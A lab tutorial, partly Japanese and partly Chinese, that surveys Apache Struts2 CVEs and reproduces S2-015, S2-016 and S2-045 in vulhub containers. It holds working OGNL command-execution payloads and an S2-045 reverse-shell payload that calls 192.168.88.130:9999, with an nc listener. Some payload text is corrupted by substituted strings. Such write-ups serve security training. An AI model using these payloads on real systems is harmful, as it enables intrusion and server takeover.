記事ディレクトリ
Struts2 の概要
Apache Struts は、米国の Apache Software Foundation によって維持されているオープン ソース プロジェクトです。エンタープライズ レベルの Java Web アプリケーションを作成するためのオープン ソース MVC フレームワークです。主に、Struts 1 と Struts2 の 2 つのバージョンのフレームワーク製品が提供されています。Struts2 は、 MVC デザイン パターンに基づいたWeb
アプリケーション フレームワークであり、本質的にはサーブレットに相当します。MVC デザイン パターンでは、Struts2 がコントローラー (Controller) として使用され、モデルとビュー間のデータ対話を確立します。Struts 2 は Struts の次世代製品であり、Struts 1 と WebWork のテクノロジーを組み合わせた新しい Struts 2 フレームワークです。
Struts2 の歴史の脆弱性
脆弱性番号 | CVE番号 | 影響を受けるバージョン | データを送る | 実現機能 |
---|---|---|---|---|
S2-001 | CVE-2007-4556 | ストラット2.0.0-2.0.8 | データを送信するための POST リクエスト。デフォルトのパラメータは次のとおりです: ユーザー名、パスワード | WEBパスを取得し、任意のコマンドを実行してシェルをバウンスする |
S2-003 | Struts 2.0.0-2.0.11.2 | データを送信するための GET リクエスト | 任意のコマンド実行 | |
S2-005 | CVE-2010-1870 | Struts 2.0.0-2.1.8.1 | データを送信するための GET リクエスト | WEBパスを取得し、任意のコマンドを実行します。 |
S2-007 | CVE-2012-0838 | Struts 2.0.0-2.2.3 | データを送信するための POST リクエスト。デフォルトのパラメータは次のとおりです: ユーザー名、パスワード | 任意のコマンド実行とリバースシェル |
S2-008 | CVE-2012-0391 | Struts 2.1.0-2.3.1 | データを送信するための GET リクエスト | 任意のコマンド実行とリバースシェル |
S2-009 | CVE-2011-3923 | Struts 2.0.0-2.3.1.1 | データを送信するための GET リクエスト。URL の後にリクエスト パラメータ名が必要です。デフォルト パラメータ: キー | 任意のコマンド実行とアンチシェル |
S2-012 | CVE-2013-1965 | StrutsShowcaseApp 2.0.0-2.3.13 | データを送信するための GET リクエスト。パラメータは URL の後に直接追加されます。デフォルトのパラメータ: name | 任意のコマンド実行とリバースシェル |
S2-013/S2-014 | CVE-2013-1966 | Struts 2.0.0-2.3.14.1 | データを送信するための GET リクエスト | WEBパスの取得、任意のコマンドの実行、リバースシェル、ファイルのアップロード |
S2-015 | CVE-2013-2135 | Struts 2.0.0-2.3.14.2 | データを送信するための GET リクエスト | 任意のコマンド実行とリバースシェル |
S2-016 | CVE-2013-2251 | Struts 2.0.0-2.3.15 | データを送信するための GET リクエスト | WEBパスの取得、任意のコマンドの実行、リバースシェル、ファイルのアップロード |
S2-019 | CVE-2013-4316 | Struts 2.0.0-2.3.15.1 | データを送信するための GET リクエスト | WEBパスの取得、任意のコマンドの実行、リバースシェル、ファイルのアップロード |
S2-020 | CVE-2014-0094 | Struts 2.0.0 ~ 2.3.16 | データを送信するための GET リクエスト | 任意のコマンド実行、リバースシェル、ファイルアップロード |
S2-029 | CVE-2016-0785 | Struts 2.0.0-2.3.24.1 (2.3.20.3 を除く) | データを送信する POST リクエストにはパラメータが必要です。デフォルトのパラメータ: メッセージ | 任意のコマンド実行とリバースシェル |
S2-032 | CVE-2016-3081 | Struts 2.3.20-2.3.28 (2.3.20.3 および 2.3.24.3 を除く) | データを送信するための GET リクエスト | WEBパスを取得し、任意のコマンドを実行し、リバースシェルを実行する |
S2-033 | CVE-2016-3087 | Struts 2.3.20-2.3.28 (2.3.20.3 および 2.3.24.3 を除く) | データを送信するための GET リクエスト | 任意のコマンドラインとリバースシェル |
S2-037 | CVE-2016-4438 | ストラット 2.3.20-2.3.28.1 | データを送信するための GET リクエスト | WEBパスを取得し、任意のコマンドを実行し、リバースシェルを実行する |
S2-045 | CVE-2017-5638 | ストラット2.3.5-2.3.31、2.5-2.5.10 | データを送信するための POST リクエスト、パラメータは必要ありません | WEBパスの取得、任意のコマンドの実行、シェルのリバウンド、ファイルのアップロード |
S2-052 | CVE-2017-9805 | ストラット 2.1.2-2.3.33、2.5-2.5.12 | データを送信するための POST リクエスト、パラメータは必要ありません | 任意のコマンド実行、リバースシェル、ファイルアップロード |
S2-053 | CVE-2017-12611 | Struts 2.0.1 ~ 2.3.33、2.5 ~ 2.5.10 | データを送信するための GET リクエスト | 任意のコマンド実行、リバースシェル |
S2-057 | CVE-2018-11776 | ストラット 2.3 ~ 2.3.34、2.5 ~ 2.5.16 | データを送信するための GET リクエスト | 任意のコマンド実行、リバースシェル |
S2-059 | CVE-2019-0230 | Struts 2.0.0-2.5.20 | POST请求发送数据 | 任意命令执行 |
Struts2历史漏洞发现
Struts2框架识别
-
通过网页后缀来进行判断,如 .do 或者 .action
-
通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为true。
-
通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
-
通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
如:原始 URL 为 https://xxx.com/ 则检测所用的 URL 为 https://xxx.com/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。
Struts2历史漏洞利用
Struts2-015
漏洞简介
漏洞编号:S2-015
CVE编号:CVE-2013-2134漏洞/CVE-2013-2135漏洞
这个漏洞有两种,一种:
在Struts2中没有对Action的名称没有进行转义和白名单检查所造成ognl表达式被解析,从而执行恶意代码.其中一个场景是当action的name配置为通配符时,可通过访问.action来传入ognl表达式,并在加载jsp文件时触发执行.漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称.
第二种:
当\$和%字符组合使用时,ognl表达式会被TextParseUtil.translateVariables二次执行.
<action name="Helloworld" class="org.test.HelloworldAction">
<result name="success" type="httpheader">
<param name="headers.foobar">\${message}</param>
</result>
</action>
影响范围
影响版本范围为:
S2.0.0-2.3.14.2
环境搭建
进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-015
ls
docker-compose up -d
查看是否搭建成功。
docker ps
访问靶场地址,如图即可搭建成功
http://ip:port
漏洞复现
payload
${
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}
payload url编码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action
使用burp抓包,插入payload,执行了’whoami’并返回到了页面
使用工具进行命令执行
Struts2-016
漏洞简介
原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。
漏洞编号:S2-016
CVE编号:CVE-2013-2251
影响范围
Struts 2.0.0 – 2.3.15
环境搭建
进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-016
ls
docker-compose up -d
漏洞复现
poc测试
/index.action?redirect:%25%7B5*5%7D
执行返回了结果,说明存在漏洞
使用工具进行命令执行。
Struts2-045
漏洞简介
漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞,定级为高风险
在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
影响范围
影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
环境搭建
ls
cd strtus2
ls
cd s2-045
ls
docker-compose up -d
访问靶场地址
http://192.168.88.128:8080/doUpload.action
漏洞复现
- 随意上传一个文件并抓包
- 修改Content-Type为以下内容
"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
xxx='multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true
反弹shell payload
"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=
#为反弹shell的bach命令
使用burp抓包,修改content-type字段为反弹shell payload
打开攻击机端口监听
nc -lvvp 9999
即可拿到靶机权限